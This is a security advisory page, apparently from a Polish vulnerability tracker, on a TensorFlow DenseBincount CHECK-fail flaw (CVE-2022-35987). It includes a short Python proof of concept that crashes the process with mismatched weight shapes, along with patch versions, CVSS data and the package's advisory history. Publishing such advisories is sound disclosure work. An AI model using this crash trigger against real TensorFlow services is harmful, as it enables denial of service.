Średnia

TensorFlow vulnerable to `CHECK` fail in `DenseBincount`

  • Ujawniono: 16.09.2022
  • Aktualizacja: 11.10.2026 14:18

Impact

DenseBincount assumes its input tensor weights to either have the same shape as its input tensor input or to be length-0. A different weights shape will trigger a CHECK fail that can be used to trigger a denial of service attack.

python
import tensorflow as tf
binary_output = True
input = tf.random.uniform(shape=[0, 0], minval=-10000, maxval=10000, dtype=tf.int32, seed=-2460)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.DenseBincount(input=input, size=size, weights=weights, binary_output=binary_output)

Patches

We have patched the issue in GitHub commit bf4c14353c2328636a18bfad1e151052c81d5f43.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) tensorflow < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
Python (PyPI) tensorflow-cpu < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
Python (PyPI) tensorflow-gpu < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1

Odnośniki

Ocena CVSS 5.9/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-617
Platforma
Python (PyPI)
Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu
Ujawniono
16.09.2022
Aktualizacja
11.10.2026 14:18

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-1043 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-3252 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-w62h-8xjm-fv49 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-3377 - PyPA Advisory Database; CC BY 4.0

Historia podatności: tensorflow-gpu

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (427) w archiwum
Wszystkich wpisów
427
Pierwsza → ostatnia
04.2019 07.2024
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 6
  • Wysoka 109
  • Średnia 207
  • Niska 105

Ujawnienia w latach

  1. 2019: 7
  2. 2020: 35
  3. 2021: 200
  4. 2022: 166
  5. 2023: 18
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
Istotność:
  1. TensorFlow vulnerable to `CHECK` fail in `DenseBincount` ten wpis
    Średnia · 5.9 CVE-2022-35987 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  2. Wysoka · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. Wysoka · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. Wysoka · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. Wysoka · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. Wysoka · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. Wysoka · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  8. Wysoka · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  9. Wysoka · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  10. Wysoka · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  11. Wysoka · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  12. Wysoka · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  13. Wysoka · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  14. Wysoka · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  15. Wysoka · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  16. Wysoka · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  17. Wysoka · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  18. Wysoka · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  19. Wysoka · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
Pokaż więcej (20) Widać 21 z 116

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.